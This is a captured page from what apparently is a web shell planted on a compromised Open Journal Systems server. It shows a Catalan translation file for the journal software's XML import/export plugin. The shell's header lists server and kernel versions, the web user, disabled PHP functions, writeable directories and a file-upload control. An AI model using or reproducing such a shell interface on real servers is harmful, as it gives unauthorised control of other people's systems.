KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/plugins/importexport/native/locale/ca_ES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/plugins/importexport/native/locale/ca_ES/locale.po
msgid ""
msgstr ""
"PO-Revision-Date: 2020-06-16 22:10+0000\n"
"Last-Translator: Jordi LC <[email protected]>\n"
"Language-Team: Catalan <http://translate.pkp.sfu.ca/projects/ojs/"
"importexport-native/ca_ES/>\n"
"Language: ca_ES\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 3.9.1\n"

msgid "plugins.importexport.native.import.error.publishedDateMissing"
msgstr ""
"L'article \"{$articleTitle}\" està inclòs en un número, però no té data de "
"publicació."

msgid "plugins.importexport.native.import.error.issueIdentificationMissing"
msgstr ""
"No es troba l'element identificador de número per a l'article \""
"{$articleTitle}\"."

msgid "plugins.importexport.native.import.error.issueIdentificationDuplicate"
msgstr ""
"El número existent amb l'identificador {$issueId} coincideix amb "
"l'identificador de número proporcionat \"{$issueIdentification}\". Aquest "
"número no es modificarà, però s'hi afegiran els articles."

msgid "plugins.importexport.native.import.error.issueIdentificationMatch"
msgstr ""
"Cap número o més d'un coincideixen amb la identificació de número "
"proporcionada \"{$issueIdentification}\"."

msgid "plugins.importexport.native.import.error.sectionAbbrevMatch"
msgstr ""
"L'abreviatura de secció \"{$sectionTitle}\" en el número \"{$issueTitle}\" "
"es correspon amb una secció existent de la revista, però una altra "
"abreviatura d'aquesta secció no coincideix amb cap abreviatura de la secció "
"existent de la revista."

msgid "plugins.importexport.native.import.error.sectionAbbrevMismatch"
msgstr ""
"Les abreviatures de les seccions \"{$section1Abbrev}\" i \"{$section2Abbrev}"
"\" del número \"{$issueTitle}\" corresponen a les diferents seccions "
"existents de la revista."

msgid "plugins.importexport.native.import.error.sectionTitleMatch"
msgstr ""
"El títol de secció \"{$sectionTitle}\" en el número \"{$issueTitle}\" es "
"correspon amb una secció existent de la revista, però un altre títol "
"d'aquesta secció no coincideix amb cap títol de la secció existent de la "
"revista."

msgid "plugins.importexport.native.import.error.sectionTitleMismatch"
msgstr ""
"Els títols de les seccions \"{$section1Title}\" i \"{$section2Title}\" del "
"número \"{$issueTitle}\" corresponen a les diferents seccions existents de "
"la revista."

msgid "plugins.importexport.native.error.unknownUser"
msgstr "L'usuari/ària especificat (\"{$userName}\") no existeix."

msgid "plugins.importexport.native.error.unknownSection"
msgstr "Secció desconeguda {$param}"

msgid "plugins.importexport.native.cliUsage"
msgstr ""
"Ús: {$scriptName} {$pluginName} [command] ...\n"
"Ordres:\n"
"\timport [xmlFileName] [journal_path] [user_name] ...\n"
"\texport [xmlFileName] [journal_path] articles [articleId1] [articleId2] ..."
"\n"
"\texport [xmlFileName] [journal_path] article [articleId]\n"
"\texport [xmlFileName] [journal_path] issues [issueId1] [issueId2] ...\n"
"\texport [xmlFileName] [journal_path] issue [issueId]\n"
"\n"
"Són necessaris paràmetres addicionals per importar dades de la següent "
"manera,\n"
"en funció del node arrel del document XML.\n"
"\n"
"Si el node arrel és <article> o <articles>, seran necessaris paràmetres "
"addicionals.\n"
"S'accepten els formats següents:\n"
"\n"
"{$scriptName} {$pluginName} import [xmlFileName] [journal_path] [user_name]\n"
"\tissue_id [issueId] section_id [sectionId]\n"
"\n"
"{$scriptName} {$pluginName} import [xmlFileName] [journal_path] [user_name]\n"
"\tissue_id [issueId] section_name [name]\n"
"\n"
"{$scriptName} {$pluginName} import [xmlFileName] [journal_path]\n"
"\tissue_id [issueId] section_abbrev [abbrev]\n"

msgid "plugins.importexport.native.importComplete"
msgstr ""
"La importació s'ha completat correctament. S'han importat els elements "
"següents:"

msgid "plugins.inportexport.native.uploadFile"
msgstr "Carregueu un arxiu en l'apartat \"Importar\" per continuar."

msgid "plugins.importexport.native.results"
msgstr "Resultats"

msgid "plugins.importexport.native.exportIssues"
msgstr "Exportar números"

msgid "plugins.importexport.native.exportSubmissions"
msgstr "Exportar articles"

msgid "plugins.importexport.native.exportSubmissionsSelect"
msgstr "Seleccioneu els articles per exportar"

msgid "plugins.importexport.native.import.instructions"
msgstr "Carregar arxiu XML per importar"

msgid "plugins.importexport.native.import"
msgstr "Importar"

msgid "plugins.importexport.native.description"
msgstr "Importar i exportar articles i números en el format XML nadiu d'OJS."

msgid "plugins.importexport.native.displayName"
msgstr "Mòdul XML nadiu"

KUNTUL | JINGKONTOT |